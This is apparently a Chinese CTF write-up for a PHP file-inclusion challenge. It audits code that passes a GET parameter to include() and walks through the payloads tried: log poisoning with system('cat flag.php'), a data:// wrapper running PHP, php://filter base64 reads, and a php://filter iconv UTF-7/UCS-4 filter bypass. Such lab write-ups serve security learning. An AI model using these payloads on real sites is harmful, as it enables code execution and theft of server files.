进入题目页面如下

直接给出了源码进行代码审计
题目给出提示是文件包含的题

代码审计
php
<?php
// 高亮显示当前 PHP 文件的源代码,方便查看和调试
highlight_file(__FILE__);
// 包含名为 "check.php" 的文件,通常这个文件中可能包含一些用于验证或其他功能的代码
include("./check.php");
// 检查是否通过 GET 请求传递了名为 "filename" 的参数
if (isset($_GET['filename'])) {
// 如果传递了 "filename" 参数,将其值赋给 $filename 变量
$filename = $_GET['filename'];
// 使用 include 函数包含由 $filename 变量指定的文件,这可能会导致文件包含漏洞
include($filename);
}
文件包含漏洞
这段 PHP 代码,使用了 include 函数,并且参数 filename 是从用户的 GET 请求中获取的。这就使得可以通过在 URL 中传递特定的参数值来控制 filename 的值,从而包含任意的文件,包括系统中的敏感文件,如配置文件、包含数据库连接信息的文件、包含密钥或密码的文件等
文件包含漏洞
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,主要由于Web应用程序在包含文件时,未能对文件路径或内容进行严格的验证和过滤,导致可以利用该漏洞包含并执行非预期的文件。
漏洞原理
开发人员为了提高代码复用性和模块化,会将可重复使用的函数或代码段写入单个文件中,并在需要时调用这些文件。如果开发者没有对用户输入的参数进行正确的过滤和检查,就可以控制这些参数的值,从而访问敏感文件或执行恶意代码。
漏洞分类
本地文件包含(Local File Inclusion, LFI):可以读取服务器本地文件系统中的文件,例如配置文件、日志文件等。
远程文件包含(Remote File Inclusion, RFI):可以让应用程序包含远程服务器上的文件,前提是服务器配置允许包含远程文件。
常见的文件包含函数
在PHP中,常见的文件包含函数包括:
include():包含并运行指定文件,文件不存在时发出警告,脚本继续执行。
require():包含并运行指定文件,文件不存在时产生致命错误,脚本终止。
include_once():类似include(),但只包含一次。
require_once():类似require(),但只包含一次。
漏洞危害
敏感信息泄露:可以读取服务器上的敏感文件,如/etc/passwd、php.ini等。
任意代码执行:可以通过包含恶意文件来执行任意代码,甚至获取Webshell。
系统权限提升:结合其他漏洞(如文件上传漏洞),攻击者可以进一步提升权限。
漏洞利用方式
本地文件包含利用:
通过绝对路径或相对路径读取敏感文件。
利用伪协议(如php://filter、php://input、data://等)读取或执行文件。
结合日志文件注入,将恶意代码写入日志文件并执行。
远程文件包含利用:
包含远程服务器上的恶意文件。
利用allow_url_include配置开启时,通过HTTP协议包含远程文件。
构造URL 请求:
http://yourwebsite.com/yourscript.php?filename=flag.php
这个请求中,filename
参数的值被设置为 flag.php
,当服务器接收到这个请求时,会执行 include($filename)
,即包含 flag.php
文件
尝试无果qyq
- Web 服务器日志文件 :常见 Web 服务器如 Apache、Nginx 等会记录访问日志。在 Apache 中,默认日志文件路径为
/var/log/apache2/access.log
或/var/log/httpd/access_log
(不同系统可能有差异);Nginx 日志路径常见为/var/log/nginx/access.log
。攻击者可以尝试通过构造请求包含日志文件,然后在自己的访问请求中携带恶意内容(如 PHP 代码),当服务器记录该请求到日志后,再通过文件包含读取日志,可能执行恶意代码来获取 flag。 - 构造一个包含恶意 PHP 代码的请求,
GET /?a=<?php system('cat flag.php');?>
- 通过
http://yourserver.com/script.php?filename=/var/log/apache2/access.log
尝试包含日志文件 - 若代码执行成功,就可能获取到 flag
还是不行,再试一下PHP伪协议
data 伪协议 :如果服务器开启了 allow_url_include
选项(在 php.ini
中配置),可以使用 data 伪协议直接包含 PHP 代码来执行命令获取 flag。
payload
script.php?filename=data://text/plain,<?php system('cat flag.php');?>
这里 data://text/plain
表明数据类型为纯文本,后面紧跟的是 PHP 代码,通过这种方式尝试执行代码获取 flag。
php://filter 伪协议:用于对文件进行过滤操作,结合 base64 编码等方式可以绕过一些简单的防护。
script.php?filename=php://filter/read=convert.base64-encode/resource=flag.php
该请求会将 flag.php
的内容进行 base64 编码后输出,然后可以将输出的 base64 编码内容解码获取 flag。
还是不行qyq,看了大佬的wp才知道过滤了许多,链接附上
攻防世界-file_include(绕过base64) - 你呀你~ - 博客园
利用iconv进行编码
在文件包含漏洞场景下,如果直接包含文件获取 flag
受阻,我们可以尝试利用 iconv
函数进行编码绕过一些过滤机制来获取 flag
。以下详细介绍原理、实现步骤和示例。
原理
iconv
是一个用于字符编码转换的函数,在 PHP 中可以使用 iconv
函数将一种字符编码转换为另一种字符编码。部分 Web 应用程序在对用户输入进行过滤时,可能只针对特定编码的关键词进行过滤,通过 iconv
对包含文件路径的输入进行编码转换,有可能绕过这些过滤规则,从而实现文件包含获取 flag
。
实现步骤
1. 确认 iconv
支持和可用编码
首先要确保目标服务器上 PHP 的 iconv
扩展是启用的,并且了解服务器支持哪些字符编码。可以通过创建一个简单的 PHP 脚本来确认 iconv
是否可用:
php
<?php
if (function_exists('iconv')) {
echo "iconv 函数可用";
} else {
echo "iconv 函数不可用";
}
?>
常见的可用编码有
UCS-4*、UCS-4BE、UCS-4LE*、UCS-2、UCS-2BE、UCS-2LE、UTF-32*、UTF-32BE* 等
2. 构造编码后的文件路径
flag
文件名为 flag.php
,可以使用 iconv
对该文件名进行编码转换。
php
<?php
$original_filename = 'flag.php';
$encoded_filename = iconv('UTF - 8', 'GBK', $original_filename);
// 将编码后的文件名进行 URL 编码
$url_encoded_filename = urlencode($encoded_filename);
echo $url_encoded_filename;
?>
上述代码将 flag.php
从 UTF - 8
编码转换为 GBK
编码,并进行 URL 编码,以便可以在 URL 中传递。
则可以构造payload
payload:
?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php
最终得到flag
